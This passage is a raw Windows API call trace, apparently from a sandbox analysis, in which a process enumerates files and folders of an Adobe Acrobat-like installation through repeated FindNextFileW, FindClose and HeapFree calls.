dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0186.257] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0186.257] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0186.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.257] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0186.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0186.258] FindNextFileW (in: hFindFile=0x484a98, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0186.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0186.258] FindNextFileW (in: hFindFile=0x485058, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0186.259] FindClose (in: hFindFile=0x485058 | out: hFindFile=0x485058) returned 1 [0186.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.259] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0186.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0186.260] FindNextFileW (in: hFindFile=0x485058, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 0 [0186.260] FindClose (in: hFindFile=0x485058 | out: hFindFile=0x485058) returned 1 [0186.261] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.261] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0186.262] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.262] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0186.263] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.265] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0186.268] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.268] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0186.268] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.268] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0186.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.876] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIThemes", cAlternateFileName="")) returned 1 [0186.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.876] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b050b7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0186.878] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4141fb0 | out: hHeap=0x420000) returned 1 [0186.878] FindNextFileW (in: hFindFile=0x4121188, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0186.878] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4141fb0 | out: hHeap=0x420000) returned 1 [0186.878] FindNextFileW (in: hFindFile=0x4121188, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0186.878] FindClose (in: hFindFile=0x4121188 | out: hFindFile=0x4121188) returned 1 [0186.878] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0186.879] FindNextFileW (in: hFindFile=0x4121748, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0186.879] FindClose (in: hFindFile=0x4121748 | out: hFindFile=0x4121748) returned 1 [0186.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0186.879] FindNextFileW (in: hFindFile=0x4121548, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1 [0186.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0186.879] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0186.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0186.879] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0186.879] FindClose (in: hFindFile=0x4121508 | out: hFindFile=0x4121508) returned 1 [0186.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0186.879] FindNextFileW (in: hFindFile=0x4121408, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0186.879] FindClose (in: hFindFile=0x4121408 | out: hFindFile=0x4121408) returned 1 [0186.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4141fb0 | out: hHeap=0x420000) returned 1 [0186.879] FindNextFileW (in: hFindFile=0x4121548, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1 [0186.879] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0186.879] FindNextFileW (in: hFindFile=0x41216c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0186.880] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0186.880] FindNextFileW (in: hFindFile=0x41216c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0186.880] FindClose (in: hFindFile=0x41216c8 | out: hFindFile=0x41216c8) returned 1 [0186.880] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0186.880] FindNextFileW (in: hFindFile=0x4120fc8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0186.880] FindClose (in: hFindFile=0x4120fc8 | out: hFindFile=0x4120fc8) returned 1 [0186.880] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4141fb0 | out: hHeap=0x420000) returned 1 [0186.880] FindNextFileW (in: hFindFile=0x4121548, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-mac.css", cAlternateFileName="MAIN-C~2.CSS")) returned 1 [0186.880] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0186.881] FindNextFileW (in: hFindFile=0x4121608, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1 [0186.884] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0186.884] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0186.886] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0186.886] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0186.886] FindClose (in: hFindFile=0x4121048 | out: hFindFile=0x4121048) returned 1 [0186.886] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0186.886] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0186.887] FindClose (in: hFindFile=0x41211c8 | out: hFindFile=0x41211c8) returned 1 [0186.887] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0186.887] FindNextFileW (in: hFindFile=0x41216c8, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1 [0186.888] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0186.888] FindNextFileW (in: hFindFile=0x41216c8, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0186.891] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0186.891] FindNextFileW (in: hFindFile=0x4120fc8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0186.891] FindClose (in: hFindFile=0x4120fc8 | out: hFindFile=0x4120fc8) returned 1 [0186.891] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0186.891] FindNextFileW (in: hFindFile=0x41216c8, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win-scrollbar", cAlternateFileName="WIN-SC~1")) returned 1 [0186.999] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0186.999] FindNextFileW (in: hFindFile=0x4120fc8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0186.999] FindClose (in: hFindFile=0x4120fc8 | out: hFindFile=0x4120fc8) returned 1 [0187.000] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.000] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1 [0187.000] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0187.000] FindNextFileW (in: hFindFile=0x41216c8, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 1 [0187.005] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x4121208, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0187.005] FindClose (in: hFindFile=0x4121208 | out: hFindFile=0x4121208) returned 1 [0187.005] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x4121348, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0187.005] FindClose (in: hFindFile=0x4121348 | out: hFindFile=0x4121348) returned 1 [0187.005] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 